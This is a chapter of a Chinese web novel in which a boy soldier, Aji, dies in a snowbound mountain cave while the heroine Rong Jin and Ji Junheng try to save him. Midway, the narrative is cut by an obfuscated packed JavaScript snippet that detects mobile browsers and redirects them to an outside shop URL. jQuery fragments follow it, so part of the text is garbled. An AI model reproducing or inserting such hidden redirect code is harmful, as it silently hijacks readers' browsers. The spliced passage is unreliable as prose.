51. 阿吉之死
作品:《借我入骨刀》 积雪没过膝盖。
每拔一步,腰背的伤便被牵扯着剧痛一次,耗去大半力气。
纪君衡走在前面开路。
他左腿在突围时遭流矢擦过,也不吭一声,将手里剑鞘往雪里插得更深些,借力前行。
山中坑洼难辨,若踩空了掉进猎户的陷阱,或是被雪盖住的冰窟窿,神仙难救。
容锦落后三步,背着阿吉。
十来岁的孩子看着干瘦,此时趴在背上却死沉。容锦左肩在虎跳峡撞伤了,整条臂膀垂着,全靠右手死托住阿吉的大腿根。
“放下来吧。”纪君衡回头看了一眼,“再背二里地,你这只手以后别想提剑。”
“放下来他就死了。”
容锦头也没抬,脚下踉跄了一下,又站稳,“雪太深,他个子矮,走不了路,更何况他眼睛受了刺激,看不见路。”
纪君衡没再劝。
他停下来,剑鞘挑开前方一丛拦路荆棘,等容锦走过去,才重新回到前头。
背上的阿吉动了动。
“殿下……”声音很小,像是梦呓,“到了吗?”
“快了。”容锦目视前方,“翻过前面那个山头,就能看见村子。有热汤,还有炭火。”
前方其实什么也没有,只有望不透的黑林与无尽的白雪。
“哦……”
阿吉应了一声,脑袋耷拉下来,在容锦后颈窝里拱了拱,贪恋这点热度。
感觉到阿吉呼吸越来越轻,容锦担心他这一觉睡过去,就醒不过来了。于是又找话问他:“阿吉,你家里还有什么人?”
“有个娘。”
说起这个,阿吉精神头稍微好了一点,“我娘眼睛不好,给人缝补衣裳熬坏了。我还想着……这次领了赏钱,回去给她治治。大夫说,得吃决明子。”
前方纪君衡脚步一顿。
他在风雪里立了片刻,似乎定住了,随后身形微侧,终究没回头。
“除了娘呢?”容锦问。
“没了。我爹早些年被抓壮丁,死在北边了。”阿吉趴在她肩头,“对了殿下,我听军里的哥哥们说,您在京城有个弟弟?”
“嗯。”容锦应了一声,“行九,叫容准。”
“比我大么?”
“比你大一点,他前不久刚过十一生辰。”
“……我跟他像吗?”
阿吉又问。
他烧糊涂了,说话也没了往日的拘谨,带着股孩子气的天真。
容锦盯着眼前白茫茫的天地,呼出的白气瞬间结了霜。
“像。”她轻声道,“也不像。”
阿吉似乎对这个答案很执着,又或者他也想找个话题让自己别睡过去。
“哪……哪儿像?”
“傻劲儿像。”
多傻呢?
容锦一边走,一边断断续续地说,“有年上元节,他不知道从哪弄来一块桃木,非要自己刻个簪子送我。”
宫里什么好东西没有?内务府送来的首饰,哪一件不是精工细作,镶金嵌玉。
可容准偏不。
那晚宫里放烟花,满天火树银花。
十五岁的少年把她堵在御花园假山后,脸红得像廊下挂着的红灯笼。
他从怀里掏出一支簪子。
沉香木的料子,油脂浸得乌黑发亮,入手沉甸甸的。顶端那一簇桃花攒得精细,连花蕊都剔得根根分明,指腹滑过,摸不出一丝刀痕。
后来郭嬷嬷私下同她说,这是容准花了一个月时间偷偷刻的,前后刻了几十支,才挑了一支最好的拿出手。
容锦苦笑摇头,她的身份哪里敢带这个,想收起来。
容准非要亲手给她戴上。
指尖触到耳垂,烫得惊人。那只手颤了一下,没缩回去。
“以后私下没人时,我可以叫你阿姐吗?”
那时她未曾多想,如今想来应是他在情窦初开的年纪,错将亲情当作喜爱了。
“他心善,天真。”
容锦轻声道:“谁待他好一分,他就恨不得掏出整颗心还回去。”
阿吉趴在她背上,听得很认真。
“真好呀。”
容锦以为他在夸容准。
“是啊。”她苦笑了一下,“他真的很好。”
好到让她既想保护他,又想逃离他。好到让她此刻想起他,满心都是愧疚和无力交织的复杂滋味。
阿吉摇了摇头。
“不。我是说……”
“他有殿下这么一个哥哥,真好啊。”
容锦的脚步蓦地停住。
眼眶在瞬间酸胀得厉害。
好吗?
她骗了他,利用了他。为了活命,为了不重蹈覆辙,正在一步步重新把他推向那个孤家寡人的位置。
甚至临走,都不敢见他一面。
可在这个冰天雪地里,阿吉觉得有人愿意背着他走一程,就是天底下最好的哥哥。
纪君衡不知何时折了回来,解下自己的大氅,将容锦连同背上的阿吉一并兜头罩住,在她颈间系了死结。
“走。”
容锦裹紧大氅,遮住阿吉露在外面的脚踝。
她哑声应道,像是说给阿吉,又像是说给自己,“等你好了,我带你去京城见他。你俩差不多大,定能玩一起去。”
阿吉没应声。
他好像又睡过去了。
风雪未歇。
他们在天黑前寻到一处塌了一半的山坳。几块巨石斜搭着,底下是个仅容两三人蜷坐的浅洞。
纪君衡坐在洞口最外侧。
他用身子挡着那道只有半人宽的缝隙,风灌进来,先打在他背上,减了几分力道再往里钻。
容锦缩在里侧石壁旁,怀里紧紧抱着阿吉。
大氅裹得严实,这孩子终于不再发抖。
不仅不抖,脸上还泛起了一层不正常的红晕。原本微弱的呼吸变得急促粗重,呼出的气也是烫的。
容锦去摸他的手。
掌心滚烫,指尖却冰凉僵硬,呈现出一种死败的灰白色。
是回光返照。老人说,这是阎王爷留给苦命人最后一点慈悲,让身子里的暖意散出来,走得舒服些。
“水……”阿吉嘴唇蠕动。
容锦抓了把雪,在掌心融化了,一点点润在他唇上。
“娘?”
阿吉忽然喊了一声,手在半空虚抓,“娘,你也来了?”
容锦握住他的手。
阿吉嘴角咧开一个笑。
“娘,我看见了。”
“看见什么了?”
“看见冬衣了。”阿吉说得很急,像怕来不及,“好多好多的新棉袄……大家都穿上了,没人喊冷了。”
容锦喉咙发堵:“是,都穿上了。”
“那就好。”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16982165|190368||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
阿吉松了口气,身子软了下来。
他手往怀里摸索,摸了半天,掏出个半块饼子。
之前在城里捡来的,分给老张半块。剩下的半块,他舍不得吃,一直揣在怀里,想留着带回家给他娘。
“娘,我不饿……刚才吃过肉了,好大一碗……”他将饼往容锦手里塞,“这个给你吃……我吃不下了。”
“好,我吃。”
“娘穿上冬衣了吗?”
“穿上了,很暖和。”
“真好……”
阿吉的声音越来越小。
“我也很暖和。”
他往大氅深处缩了缩,喃喃道:“这被窝真暖和……”
他的手慢慢从容锦掌心里滑落。
垂在地上。
最后一口气,断了。
洞穴里静得可怕。
外面的风还在呼啸,仿佛在为这天地间千千万万个死去的蝼蚁哀嚎。
从蜀州带出来的八千人,如今仅剩三千。
容锦还维持着抱着阿吉的姿势,下巴抵在他头发上。
她想哭,可眼睛干涩得发疼,一滴泪也流不出来。
前世今生,她见过太多声势浩大的死。
金戈铁马,伏尸百万。无数条命填进去,也不过是史书上寥寥一笔兴亡。
可阿吉死得太轻了。
轻得像一片雪花落地,无声无息。
他只是想换件冬衣,想给他娘治病。
“他死了。”
纪君衡的声音从洞口传来。
“嗯。”
他起身来抱地上的阿吉。
猜到他要做什么,容锦抓住大氅的边缘,不肯松开。
“他怕冷。”
纪君衡沉默了一会,才开口:
“他不会再感觉冷了。”
容锦手指僵了一瞬,力道渐渐松开,大氅从她掌心滑脱。
纪君衡俯身将人抱起。太轻了,轻得他眉头微蹙。不过是几根骨头撑着皮肉。
他走到洞口下方那处透风的缝隙,将人横放在那儿。不用半个时辰,这身体就会冻透,变得硬如铁石,正好能挡住外面灌进来的风。
他折身回来,拾起那件空下来的大氅重新裹住两人,“睡吧,我守上半夜。”
容锦望着阿吉,转眼间,他身上已经覆上一层新雪。
“他到死都以为,真有新棉袄穿。”
纪君衡背靠着冰冷石壁,长剑横在身侧。
“等雪停了出山,我让曹贺带人去寻决明子。”
容锦没抬头,肩膀微微塌陷下去。
“是我没护住他。”
“乱世里,护不住的事太多了。”纪君衡声音平静,“人各有命,你背着他走了十里,也算送了他最后一程。”
容锦这才抬眼看他。
忽然觉得,眼前这个人和她记忆里的那个,怎么也重叠不起来。前世,他谋反篡位,铁蹄踏破京城时,血流成河,何等狠戾决绝。
可偏偏就是这样一个人,刚才路上,把身上唯一的大氅给了她和阿吉,甚至还记得阿吉临死前给他娘带药的微末心愿。
或许,人心本就是层层叠叠的迷宫。
前世她只看到他走到终点时,血火勾勒出的那一面轮廓。
而这一世,她被迫与他同行在这场风雪之中,才得以窥见沿途两侧,无数条彼此矛盾的岔口。

